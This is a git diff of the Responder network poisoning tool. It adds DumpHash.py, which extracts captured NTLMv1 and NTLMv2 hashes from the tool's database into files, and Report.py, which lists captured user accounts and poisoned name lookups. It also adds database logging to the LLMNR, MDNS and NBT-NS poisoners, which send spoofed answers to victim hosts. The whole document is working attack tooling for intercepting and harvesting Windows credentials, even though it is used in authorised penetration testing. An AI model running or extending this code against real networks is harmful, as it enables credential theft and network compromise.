diff --git a/DumpHash.py b/DumpHash.py
new file mode 100755
index 0000000..016ca15
--- /dev/null
+++ b/DumpHash.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sqlite3
+
+def DumpHashToFile(outfile, data):
+ with open(outfile,"w") as dump:
+ dump.write(data)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def GetResponderCompleteNTLMv2Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+def GetResponderCompleteNTLMv1Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+cursor = DbConnect()
+print "Dumping NTLMV2 hashes:"
+v2 = GetResponderCompleteNTLMv2Hash(cursor)
+DumpHashToFile("DumpNTLMv2.txt", v2)
+print v2
+print "\nDumping NTLMv1 hashes:"
+v1 = GetResponderCompleteNTLMv1Hash(cursor)
+DumpHashToFile("DumpNTLMv1.txt", v1)
+print v1
diff --git a/Report.py b/Report.py
new file mode 100755
index 0000000..a312a87
--- /dev/null
+++ b/Report.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sqlite3
+import os
+
+def color(txt, code = 1, modifier = 0):
+ if txt.startswith('[*]'):
+ settings.Config.PoisonersLogger.warning(txt)
+ elif 'Analyze' in txt:
+ settings.Config.AnalyzeLogger.warning(txt)
+
+ if os.name == 'nt': # No colors for windows...
+ return txt
+ return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def GetResponderData(cursor):
+ res = cursor.execute("SELECT * FROM Responder")
+ for row in res.fetchall():
+ print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
+
+def GetResponderUsernamesStatistic(cursor):
+ res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
+ for row in res.fetchall():
+ print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
+
+def GetResponderUsernames(cursor):
+ res = cursor.execute("SELECT DISTINCT user FROM Responder")
+ for row in res.fetchall():
+ print('User account: {0}'.format(row[0]))
+
+def GetResponderUsernamesWithDetails(cursor):
+ res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
+ for row in res.fetchall():
+ print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
+
+
+def GetResponderCompleteHash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ for row in res.fetchall():
+ print('{0}'.format(row[0]))
+
+def GetUniqueLookups(cursor):
+ res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
+ for row in res.fetchall():
+ print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
+
+
+def GetStatisticUniqueLookups(cursor):
+ res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
+ for row in res.fetchall():
+ print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
+
+
+def SavePoisonersToDb(result):
+
+ for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
+ if not k in result:
+ result[k] = ''
+
+def SaveToDb(result):
+
+ for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+ if not k in result:
+ result[k] = ''
+
+cursor = DbConnect()
+print color("[+] Generating report...", code = 3, modifier = 1)
+print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
+GetUniqueLookups(cursor)
+GetStatisticUniqueLookups(cursor)
+print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
+GetResponderUsernames(cursor)
+print color("\n[+] Username details:", code = 2, modifier = 1)
+GetResponderUsernamesWithDetails(cursor)
+GetResponderUsernamesStatistic(cursor)
+#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
+#GetResponderCompleteHash(cursor)
diff --git a/Responder.py b/Responder.py
index 5170f1d..c7c39cf 100755
--- a/Responder.py
+++ b/Responder.py
@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
+#Create the DB, before we start Responder.
+CreateResponderDb()
+
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -231,7 +234,7 @@ def main():
# Load Browser Listener
from servers.Browser import Browser
- threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
+ #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP
diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py
index 8e19514..ef375d9 100644
--- a/poisoners/LLMNR.py
+++ b/poisoners/LLMNR.py
@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+ SavePoisonersToDb({
+ 'Poisoner': 'LLMNR',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Name,
+ 'AnalyzeMode': '1',
+ })
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
-
+ SavePoisonersToDb({
+ 'Poisoner': 'LLMNR',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Name,
+ 'AnalyzeMode': '0',
+ })
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py
index 757ee5b..6fdc537 100644
--- a/poisoners/MDNS.py
+++ b/poisoners/MDNS.py
@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+ SavePoisonersToDb({
+ 'Poisoner': 'MDNS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Request_Name,
+ 'AnalyzeMode': '1',
+ })
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+ SavePoisonersToDb({
+ 'Poisoner': 'MDNS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Request_Name,
+ 'AnalyzeMode': '0',
+ })
diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py
index a140606..d500a80 100644
--- a/poisoners/NBTNS.py
+++ b/poisoners/NBTNS.py
@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+ SavePoisonersToDb({
+ 'Poisoner': 'NBT-NS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Name,
+ 'AnalyzeMode': '1',
+ })
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
+ SavePoisonersToDb({
+ 'Poisoner': 'NBT-NS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Name,
+ 'AnalyzeMode': '0',
+ })
+
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/servers/HTTP.py b/servers/HTTP.py
index 2b75ba7..4a3d3ca 100644
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -309,4 +309,4 @@ class HTTP(BaseRequestHandler):
except socket.error:
pass
-
\ No newline at end of file
+
diff --git a/settings.py b/settings.py
index e02dff9..c1c82f4 100644
--- a/settings.py
+++ b/settings.py
@@ -20,7 +20,7 @@ import subprocess
from utils import *
-__version__ = 'Responder 2.3.3.2'
+__version__ = 'Responder 2.3.3.4'
class Settings:
@@ -229,9 +229,12 @@ class Settings:
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
- except subprocess.CalledProcessError as ex:
- NetworkCard = "Error fetching Network Interfaces:", ex
- pass
+ except:
+ try:
+ NetworkCard = subprocess.check_output(["ip", "address", "show"])
+ except subprocess.CalledProcessError as ex:
+ NetworkCard = "Error fetching Network Interfaces:", ex
+ pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
@@ -239,9 +242,12 @@ class Settings:
pass
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
- except subprocess.CalledProcessError as ex:
- RoutingInfo = "Error fetching Routing information:", ex
- pass
+ except:
+ try:
+ RoutingInfo = subprocess.check_output(["ip", "route", "show"])
+ except subprocess.CalledProcessError as ex:
+ RoutingInfo = "Error fetching Routing information:", ex
+ pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try:
diff --git a/utils.py b/utils.py
index dea8463..268c419 100644
--- a/utils.py
+++ b/utils.py
@@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump:
dump.write(data + '\n')
-def SaveToDb(result):
- # Creating the DB if it doesn't exist
+def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
- cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
+ cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
+ cursor.commit()
+ cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.close()
+def SaveToDb(result):
+
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
@@ -222,6 +225,23 @@ def SaveToDb(result):
cursor.commit()
cursor.close()
+def SavePoisonersToDb(result):
+
+ for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
+ if not k in result:
+ result[k] = ''
+
+ cursor = sqlite3.connect(settings.Config.DatabaseFile)
+ cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
+ res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+ (count,) = res.fetchone()
+
+ if not count:
+ cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+ cursor.commit()
+
+ cursor.close()
+
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":